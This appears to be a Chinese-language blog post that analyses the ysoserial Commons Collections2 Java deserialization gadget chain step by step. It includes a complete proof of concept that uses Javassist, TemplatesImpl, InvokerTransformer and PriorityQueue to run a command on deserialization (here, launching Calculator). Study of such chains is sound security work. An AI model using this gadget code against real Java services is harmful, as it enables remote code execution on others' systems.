Ysoserial Commons Collections2分析
阅读原文时间:2021年10月13日阅读:1

Ysoserial Commons Collections2分析

CC2与CC1不同在于CC2用的是Commons Collections4.0;同时利用方式CC2用到了Javassist动态编程,从功能上来说CC1用于执行命令,而CC2可以任意代码执行危害更大,所以像常用的shiro打内存马也会用到CC2。

CC2 Gadget Chain

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

poc

public class cc2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();     //获取默认类池
        classPool.appendClassPath(AbstractTranslet);    //末尾添加一个ClassPath
        CtClass payload=classPool.makeClass("j");   //新创建一个类,类名为j
        payload.setSuperclass(classPool.get(AbstractTranslet));     //设置AbstractTranslet为该类父类
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //创建一个静态构造方法并将其内容设置为弹calc
        byte[] bytes=payload.toBytecode();  //将该ctclass转为byte流
        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  //反射创建TemplatesImpl对象
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");    //反射获取属性值_bytecodes
        field.setAccessible(true);  //强制反射
        field.set(templatesImpl,new byte[][]{bytes});   //重新设置_bytecodes的值为bytes也就是弹calc

        Field field1=templatesImpl.getClass().getDeclaredField("_name");    //反射获取属性_name
        field1.setAccessible(true); //强制反射
        field1.set(templatesImpl,"test");   //将_name属性赋值为test
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();
        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

PriorityQueue

Queue是一个(FIFO)先进先出的队列,而PriorityQueue是一个根据元素优先级出队的队列类。

构造方法

PriorityQueue(int initialCapacity)
创建具有指定初始容量的PriorityQueue ,该容量根据其natural ordering对其元素进行排序 。

常用方法

boolean    add(E e)
将指定的元素插入此优先级队列。

Javassist

Javassist的默认类池搜索系统搜索路径,通常包括平台库、扩展库以及-classpath选项或CLASSPATH 环境变量指定的搜索路径 。

关于Javassist不会详细解读,没了解过Javassist的师傅也可以参考我这篇文章https://www.cnblogs.com/CoLo/p/15383642.html

Field

field.set(Object obj, Object value): 将指定对象变量上此 Field 对象表示的字段设置为指定的新值.

后面会把poc拆分成几部分依次过一下

首先看第一部分, 声明了两个string:AbstractTranslet,TemplatesImpl ;之后用到了javassist创建了一个类,类名为j,同时设置该类父类为AbstractTranslet并通过makeClassInitializer方法在该类中添加静态代码块,代码块内容为弹calc。

看到这里大概可以猜到后续应该会初始化该类从而触发在该类中写入的静态代码块内容去弹计算器(or 任意代码执行)。

抛出问题1: 为什么要设置父类为AbstractTranslet?

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();     //获取默认类池
classPool.appendClassPath(AbstractTranslet);    //append一个ClassPath,为后续设置父类作准备
CtClass payload=classPool.makeClass("j");   //新创建一个类,类名为j
payload.setSuperclass(classPool.get(AbstractTranslet));     //设置AbstractTranslet为该类父类
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //创建一个静态代码块并将其内容设置为弹calc

这里可以添加一行代码payload.writeFile("./");将此class文件输出到当前目录看一下会比较清晰明了。

继续看第二部分。将新建的类转换为byte数组,通过反射创建TemplatesImpl实例化对象赋值给了templatesImpl,并通过反射拿到了该对象的_bytecodes并设置属性值为上面新建的类的byte数组。

抛出问题2:为什么要将上面我们新建好的类转为bytes数组再赋值给TemplatesImpl类的_bytecodes

之后依然是反射拿到_name属性并赋值test,看起来像是随意赋值,只要_name有值即可。

抛出问题3:为什么_name属性必须要有值?

byte[] bytes=payload.toBytecode();  //将该ctclass转为byte流
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  //反射创建TemplatesImpl对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");    //反射获取属性值_bytecodes
field.setAccessible(true);  //强制反射
field.set(templatesImpl,new byte[][]{bytes});   //重新设置_bytecodes的值为bytes也就是弹calc

Field field1=templatesImpl.getClass().getDeclaredField("_name");    //反射获取属性_name
field1.setAccessible(true); //强制反射
field1.set(templatesImpl,"test");   //将_name属性赋值为test

首先切入问题2,在poc中readObject下断点跟到com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java中,看下TemplatesImpl的源码,其实打fj多的师傅应该比较熟悉TemplatesImpl,这也是打fj的payload会用到的点。

调用栈如下,最后是在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java#defineTransletClasses方法执行的代码

先只关注TemplatesImpl部分,首先newTransformer方法在执行new TransformerImpl时调用了getTransletInstance()

进入getTransletInstance(),由于_classnull,进入defineTransletClasses方法

到这里就很清晰了,通过ClassLoader#defineClass()加载_byrecides属性值的字节流数据创建恶意类并返回给_class数组,后续会对其进行实例化,所以这也是为什么要将上面我们新建好的类转为bytes数组再赋值给TemplatesImpl类的_bytecodes而不是选择其他类或其他属性。

而关于之前第一个问题为什么要设置父类为AbstractTranslet,因为要走到下面的if判断中给_transletIndex属性重新赋值,这个属性在TemplatesImpl中默认设置为-1,而重新设置值与后面的实例化触发静态代码块中代码执行有关

回到TemplatesImpl#getTransletInstance()将一开始创建的类通过(AbstractTranslet) _class[_transletIndex].newInstance()触发代码执行,而如果_transletIndex值为-1的话应该会抛下标越界就不能正常的实例化触发静态代码块中的代码执行了。这里注意第一个if,需要_name不为null才继续往下走,所以这也是问题3为什么_name属性要设置一个值。

所以后续找到如何调用的newTransformer方法即可。poc中给的是InvokerTransformer去反射调用newTransformer的执行,其流程大致为先获取InvokerTransformer对象之后将其作为TransformingComparator构造方法的参数来实例化一个TransformingComparator对象,后续创建了一个PriorityQueue添加了两个元素。

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

后续和之前一样的操作通过反射分别给comparatorqueue赋值,如下图

最后就是序列化queue对象写入test.out之后读取test.out再进行反序列化触发代码执行

抛出问题4:为什么要添加两个元素呢?

这里可以带着问题调试poc观察下

还是在poc中readObject()处下断点,跟进到PriorityQueue#readObject(),跟进heapify()

这里是一个for循环,注意size就是我们前面设置的PriorityQueue的长度,这里做了无符号右移1位 再-1的操作。

放两张图感受下,所以这也是问题4为什么要添加两个元素的答案,如果只放一个就直接跳出for不再继续往下调用siftDown方法了

后续就比较简单了,进入siftDown方法后调用siftDownUsingComparator方法

siftDownUsingComparator方法中调用compare方法,其中x为我们弹计算器的恶意类

compare方法中调用InvokerTransformer#transform()方法

transform中反射调用com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl#newTransformer()

在其中调用了getTransletInstance()

先做了_name是否为null的判断,之后进入defineTransletClasses()方法。

在其中调用了ClassLoader#defaineClass()方法加载bytes数组生成恶意类

并判断该类父类是否为对_transletIndex重新赋值或到最后抛出异常

回到getTransletInstance()方法实例化我们的恶意类最终触发静态代码块中代码执行。

其实调试下来会发现poc的chain和yso中的不太一样,yso封装的太多,感觉不如直接调poc来的更易理解。不过yso还是要去深入理解的非常好的项目:D

PoC Chain:

ObjectInputStream.readObject()
      PriorityQueue.readObject()
          ...
              PriorityQueue.heapify()
                  PriorityQueue.siftDown()
                      PriorityQueue.siftDownUsingComparator()
                          TransformingComparator.compare()
                             InvokerTransformer.transform()
                                Method.invoke()
                                   TemplatesImpl.newTransformer()
                                       TemplatesImpl.getTransletInstance()

一开始看这条链头大,有些没接触到的东西且cc1也是前一段时间分析的了,没有那么的熟悉所以看起来很吃力,还是需要多调试几次。其实对于每个细节都是有说法的,需要带着问题去调试会更容易理解。